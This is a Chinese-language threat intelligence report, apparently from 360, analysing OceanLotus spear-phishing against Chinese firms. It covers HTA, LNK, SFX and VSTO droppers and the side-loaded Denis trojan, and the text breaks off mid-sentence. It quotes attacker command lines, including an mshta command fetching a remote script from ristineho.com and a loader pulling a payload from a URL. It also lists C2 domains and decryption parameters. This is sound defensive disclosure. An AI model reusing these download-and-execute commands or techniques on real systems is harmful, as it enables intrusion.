360威胁情报中心在近期对海莲花组织的持续跟踪过程中,发现其最新的攻击活动中使用的初始投放载荷文件和攻击利用技术与过去相比出现了一些新的变化,其近期的攻击目标包括国内某大型投资公司。
本报告对海莲花组织最新的攻击利用技术,攻击载荷,攻击事件的分析和披露,其主要发现如下:
该组织使用多种技术实现初始投放的载荷,并发现其使用的一种未公开的Word文档在野利用技术; 该组织针对多个正常应用程序实现的白利用木马; 初始投放海莲花组织依旧采用其惯用的鱼叉邮件攻击目标人员,并诱导其下载和执行相关诱导载荷文件。我们发现其近期利用亚马逊云托管相关的投放载荷文件,并在鱼叉邮件中附上云附件诱导目标人员点击下载。
诱导文件名称列表如下:
2018年工作报告提纲2(第四稿).rar 2018年工作报告提纲2(第四稿).zip 2019年加薪及任命决定征求意见表.rar 2019年加薪及任命决定征求意见表.zip 2018106各部门周报以及汇总.rar 请尽快补充完善《财务部之报告》.rar结合攻击目标、攻击时间及诱导文件名称,我们认为这可能是海莲花组织针对国内部分目标企业(如民营企业)的财务部门,企业部门管理人员和高管的发起的鱼叉攻击,由于时近年末,该组织采用了一些如部门工作总结、财务报告、人员加薪任命为诱导文件名称。
初始投放的诱导文件都是以zip或rar格式的压缩文件,其中包含的初始投放载荷呈多种利用形态,以下为具体的分析。
HTA文件 海莲花组织利用开源CACTUSTORCH框架[1]生成的名为“2018106各部门周报以及汇总.docx.hta”的HTA文件。CACTUSTORCH框架是一个开源的javascript和VBScriptshellcode执行框架,海莲花组织基于该框架修改,并加入了代码混淆和另外的一些利用技巧。
例如对CreateObject的包裹混淆实现:
Chin函数会首先判断操作系统中安装的.NET版本,不同的版本加载不同的注入DLL版本:
对base64编码信息的混淆变换:
进行base64解码:
然后反序列化之后执行代码:
其中通过对Base64的数据解密如下:
其中包含一个C#实现的DLL (md5:b28c80ca9a3b7deb09b275af1076eb55)。该DLL主要是解密hta文件内容中的附加数据,并在内存中加载。其中被加载的DLL,从36361位置开始读取数据。
其中加载函数的参数说明如下:
X(279045859 , 36361 , 30 , 1639151 )
参数1:hta附加数据的解密密钥
参数2:hta附加数据的偏移
参数3:docx文件名的长度
参数4:从hta附加数据解密后的文件中,docx文件所在的文件偏移
替换掉” ”,”. ”,”,”为合法的base64字符(= / +):
然后做base64解码,再做异或解密,传进来的密钥为:279045859 (0x10A1E6E3)
解密后的数据如下,其中包含附加的docx文件和文件名。
其将docx文件释放到temp并打开:
同时后台会执行loader程序,其为Denis家族。下图为shellcode入口:
LNK文件
海莲花组织将LNK文件伪装成如“2018年工作报告提纲2(第四稿).doc.lnk”的名称,其图标如下:
该快捷方式会通过mshta执行一个远程脚本,命令行如下: C:\windows\System32\mshta.exe vbscript:Close(Execute("OnError ResumeNext:GetObject(""script:https://ristineho.com/vbb.jpg"")"))
其中vbb.jpg是一个hta的文件,首先通过读取注册表HKLM\SOFTWARE\Microsoft\.NETFramework\v4.0.30319\的路径是否存在,如果不存在的话,就为.NET 2.0的版本:
设置计划任务在30s后执行%appdata%\\mobsync.exe,每1h执行一次。
修改注册表键值,劫持SyncCenter.dll,当mobsync.exe进程启动时加载该DLL实现持久性:
最终直接执行shellcode代码:
SFX文件
在分析过程中,我们还发现了一个自解压文件格式的投放文件。其自解压的时候会通过regsvr32加载压缩包里的ocx文件,同时打开Report.docx文件。
打开的模糊doc文档如下:
ocx加载后会在C:\ProgramFiles\NLS_000001释放四个文件,并使用白利用技术加载同目录下的dbghelp.dll:
其中加载的恶意代码是海莲花常用的Denis木马。
木马连接的C2为nnggmpggmeggidggjlggmmggmiggnkggmlggjkggmhggmlggmiggjoggmcgg.ijmlajjp.karelbecker.com。
内嵌VSTO的在野攻击在投放的诱导压缩包“2018年工作报告提纲2(第四稿).rar”中所包含的docx文档使用了一种似乎目前尚未公开披露的在野攻击技术。
文档打开后,会弹出确认框。
其利用文档内嵌VisualStudio Tools for Office(VSTO)进行攻击。VSTO是新版Office中COM加载项的替代品(虽然后者仍然受支持)。但是,与COM加载项不同,VSTO需要安装特殊的运行时,默认情况下不会安装。
这里提及了往word文档添加外部vsto文件的方法[2]。下图为诱导文档指向的vsto文件目录:
其指向的目录如下,值得说明的是,这个目录下问的目录及文件已经全部进行了系统文件隐藏处理,正常将其解压并不能看见该目录以及文件的存在。
其中 vsto文件首先调用Microsoft.Office.Compatible.dll
加载Microsoft.Office.Compatible.dll后,会分别执行两个函数,method_1主要为了执行木马,method_2主要为了打开文档文件。
两个函数均会通过method_0来获取customXml目录下的item1.xml和item2.xml来创建可执行文件,其通过获取对应的res编号来读取xml中的数据,并进行base64解码。
method_1主要是通过读取item1.xml的数据并解码,然后便开始创建进程并运行。
最后运行的Denis木马,回连C&C为nnggmpggmeggidggmiggjmggmbggjjggjmggmiggmkggnjggngggmeggmhgg.ijmlajjb.sorensanger.xyz。
method_2创建一个随机名称的docx文件,并将从item2.xml读取的数据进行解码后写入该文件,实际上该段数据为原来的word文件内容。
最后会将customXMLPart删除,也就是将原来涉及的调用vsto文件的xml进行删除操作,并对一些目录进行删除。其为了进行攻击痕迹抹除,并且试图将样本伪装成正常样本,逃避检测。
白利用木马
在分析过程中,我们发现海莲花组织使用多个白利用木马,并用于针对某大型民营投资公司的攻击事件中。
UxTheme.dll - Flash白利用该DLL样本是Flash.exe的白利用文件,其编译时间为2018年10月9日,是攻击者最初使用的版本。
其使用base64编码附带的数据,如图:
然后执行如下图的shellcode地址:
0xfc8偏移处的数据传入sub_18函数里:
获取kernel32的基址:
获取一些基本函数的地址:
1、 VirtualAlloc
2、 VirtualFree
3、 VirtualProtect
4、 memcpy
其在内存中执行释放的H1g9Fjt5m.exe,并使用如下的调用参数:C:\Users\Administrator\Desktop\api\temp\royal\H1g9Fjt5m.exe -u https://ristineho.com/vii32.png
该PE文件的入口处会判